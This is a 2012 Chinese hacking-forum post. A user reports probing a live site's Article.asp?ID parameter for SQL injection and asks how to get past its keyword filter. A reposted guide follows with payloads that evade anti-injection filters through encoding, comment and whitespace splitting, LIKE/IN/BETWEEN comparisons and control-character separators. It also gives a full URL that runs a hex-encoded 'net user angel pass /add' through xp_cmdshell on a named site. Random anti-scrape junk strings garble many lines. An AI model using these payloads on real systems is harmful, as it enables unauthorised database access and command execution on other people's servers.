找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2433|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下." Y7 u$ Z# ~( d- y6 K( k
http://www.xxx.cn/Article.asp?ID=117 and 1=1
+ |$ h0 N. ~4 \( D; n& I直接返回主页; o6 |* p9 z( ^7 M9 M  h2 P
http://www.xxx.cn/Article.asp?ID=117 or 1=1/ |- U0 ?- T# e# j4 B$ s, m/ `- l/ j
直接返回主页; d6 N% g4 \: b" V6 A/ P
http://www.xxx.cn/Article.asp?ID=117 or# n$ t. B6 |" x+ J: h; q& @
没有返回主页 没有过滤or) O( N+ M! g" F+ u- a) N) k
http://www.xxx.cn/Article.asp?ID=117 and
) N" L1 U% p  {+ c3 @( n4 K, C) ?直接返回主页 看来过滤了and
+ T9 F2 ?$ U- M# p8 [" @http://www.xxx.cn/Article.asp?ID=117 or 1
# F& w2 o6 `  g/ u" x4 M没有返回主页 即没有过滤or 也没有过滤1
  D! ]9 L2 Q, ^9 Zhttp://www.xxx.cn/Article.asp?ID=117 or 1=15 ~* F3 ]  n8 P8 K
直接返回主页 很明显过滤了等号 " y" G" a) x/ b( O
or的特性是与and相反的.0 X( r" z8 o2 q  j
or 1=1 爆错 或与原页面不同3 V9 f# [! N4 L8 H) N9 @! `( Q1 v
or 1=2 原页面相同
' g# n7 o0 G0 ?% \这样就是一个注入点4 n) F( H; ]4 Z6 K, [
但他过滤了=号 我就用><号代替=号吧!9 G; j! t9 @3 v4 }
or 1<2 很明显是正确的,所以应该与原页面不同
# S# P9 Q% M4 T. f0 bor 1>2 很明显是错误的,所以应该与原页面相同
3 M2 @5 K' V; V6 ]然后看看有没有过滤其他的查询语句,比如select.
- q: L3 G7 D( rhttp://www.xxx.cn/Article.asp?ID=117 select! k- Z$ b: E4 e0 N, x- B* H! o
直接返回主页0 H6 F6 s( {, P2 b6 b5 p
又迷茫了..
# M7 `) n& B; `* Q" C+ `
. k1 j9 l8 O6 B; \6 K8 z( m0 e6 Y+ v* i  M
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
  R* b* }& b* {9 U这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
2 U1 F( X" |# }' n================================================
% c: F% P6 B3 J* |# R9 [) x以下是转贴:' t, W) B/ o7 m- ?- h) w. D4 S8 H
2 R/ M; c1 O. w
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… . B- V: q8 e: V% }
经过我的收集,大部分的防注入程序都过滤了以下关键字:
* c  H7 F; l7 _and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 0 k, O& v& a9 K% l3 n- n
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
/ B7 I" Y$ ~6 K: J$ M对于关键字的过滤,以下是我收集的以及我个人的一些想法。
. i5 T4 b: e& P, W* S1、运用编码技术绕过
: g9 u# c; ^2 l: W如URLEncode编码,ASCII编码绕过。例如or 1=1即 ' G& |$ G% o9 M
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
4 x# g, a" d% d. _. w+ M8 j* R2 p# `- S
2、通过空格绕过
7 j8 `6 I' @* v' S如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ' T, E1 ?) w- u! ~* E' d! q9 B- ^/ h
or’ swords’ =‘swords’
1 v8 n) `- e7 U; Y7 X,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
2 O$ ~1 T; Y; v  k# T( @5 N3、运用字符串判断代替 9 B$ k  n) M3 o2 y9 H5 A
用经典的or 1=1判断绕过,如 9 ^2 b1 _. a: P- H$ a5 ~
or ’swords’ =’swords’ 4 V' V# c- G0 O$ S2 }  o" U
,这个方法就是网上在讨论的。 ' c4 m$ a# M$ T
4、通过类型转换修饰符N绕过 + E& C& Y& N: L3 A% V0 ?, C% w* z
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 * R3 n9 N7 W) C& z6 }
5、通过+号拆解字符串绕过 . b$ s+ A1 {3 i
效果值得考证,但毕竟是一种方法。如 6 m7 t2 G3 I9 f8 l' B
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ( J. _' @( j; o: D

' X, d$ h" b9 O% R2 v6、通过LIKE绕过
* C$ E5 E! T; r3 _7 @9 p5 g  v以前怎么就没想到呢?如or
. K) `1 F" e2 J3 l- b! h’swords’ LIKE ’sw’
: Q9 v4 N7 X9 E. L7 ?+ L1 P3 s!!!显然可以很轻松的绕过 $ Y+ \" ^3 n( O+ l: n1 I4 U/ ^# f
“=”“>” . S) r. E/ H8 k1 l
的限制……
+ h. p. O' P# s! c2 Q' v( k, E/ Z7、通过IN绕过 , L- r. V/ K8 G4 B" K6 D  [+ @
与上面的LIKE的思路差不多,如
6 L4 n' L& t+ \! uor ’swords’ IN (’swords’) $ ^9 Y/ J6 }. P* O
& F4 k. v* m$ i3 y& }
8、通过BETWEEN绕过 * s7 A; H3 X# i5 D
如
7 f* ^. M: J* p1 X& ~; Cor ’swords’ BETWEEN ’rw’ AND ’tw’
4 ?4 j5 A9 c7 S% G: ^% G, A% \! g( U5 N! B" [# C/ D# {7 E$ {
9、通过>或者<绕过 $ y' D2 W) Z7 m7 D" I3 d- ^
or ’swords’ > ’sw’
3 M; d+ r" o$ p8 ~or ’swords’ < ’tw’   n2 {$ Q; i% g  t/ U# h/ n9 q
or 1<3
& W. A# Q' Y# P$ V: d6 J…… 7 q+ K/ @' }; v( R$ U2 L2 }
10、运用注释语句绕过
6 Q/ ?! ]1 N& P1 c2 z3 H用/**/代替空格,如: 0 y' ]: g0 s, ^+ N* x; `
UNION /**/ Select /**/user,pwd,from tbluser
" p' n7 g: B1 t+ F* [' F" ?0 M8 i! k) _# D( \) z6 w3 p
用/**/分割敏感词,如:
; Q) W1 z) L- X9 E: P& CU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
6 R' L: D* W; D; q7 o8 Q1 z) S9 S7 e0 w5 o' z9 S+ a
11、用HEX绕过,一般的IDS都无法检测出来
. v) I4 R+ y% J  ^; a0x730079007300610064006D0069006E00 =hex(sysadmin)
: C) v7 F- O0 g7 k4 H0x640062005F006F0077006E0065007200 =hex(db_owner)
' {0 \% }2 R+ \% @0 n另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
; n/ g' F- h* }, C  declare @a sysname
) b( D/ M1 h" l6 t( n  select @a=
, v8 c- c2 _$ f/ N' U2 n* w# u  exec master.dbo.xp_cmdshell @a ( l: n/ B; ^' J6 K
效果 * K9 F- t" n3 P3 C* [% r! k
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- % w' o: f" z! m+ t
/ {/ ^- V! h& p/ i3 h% |
其中的 ' g( z" Y% m. ~5 G
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
3 o6 {$ P* d2 O, ?) o( m就是 * v$ n( h) b. r1 ^; J
“net user angel pass /add”
. Z/ d7 K& ]% c
8 h+ h- [6 B% \, q# r一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
4 p$ s. ]. N# y引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。! c$ G* b6 F; n
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
& t1 v3 A* I6 b) m3 ICopy code& V! _5 T- W6 ?& w0 s: M: o4 {
select * from table exec xp_cmdshell'xxxxxxxxxx'
% B) f2 R  u* _( G0 }& [) ~3 B$ Z8 u# f. A! ~; p

$ L4 \. D5 L8 D$ \  Kselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'# V) \+ J. R- L1 X

$ z9 y  }4 T( H0 e( f1 u
' ~- C) H: |" J8 \$ Tselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'  @# B5 l' v6 v. }

2 c4 \* p3 C4 I
( x! o# W; I, `. K9 J! D% W: H( Hselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'% k2 p$ s, n/ A9 _1 W+ J5 }7 O
. k$ Q# x0 ]3 L
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?" q5 k& l2 w) @* O
/ L7 b9 j2 T3 V2 Y+ e+ `
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了8 N* u* p4 E' a& q% v; X
可能大家早就知道了,不管怎么说,发在这里吧!
9 F0 E& S! A( E' r% D/ D" }) B! i' ^* Q! ?
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。+ T5 A( o. z7 P  s9 _- t9 M8 H

* i* C) _' G: U& ]$ w) I, B- y0 o+ i# x, ?& H

! B( w/ h, y& C7 Q2 b对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,' ]2 ], ?% J  u) [: x
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? : q% B% y, r- @
) e0 r: B5 \, L( k! A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表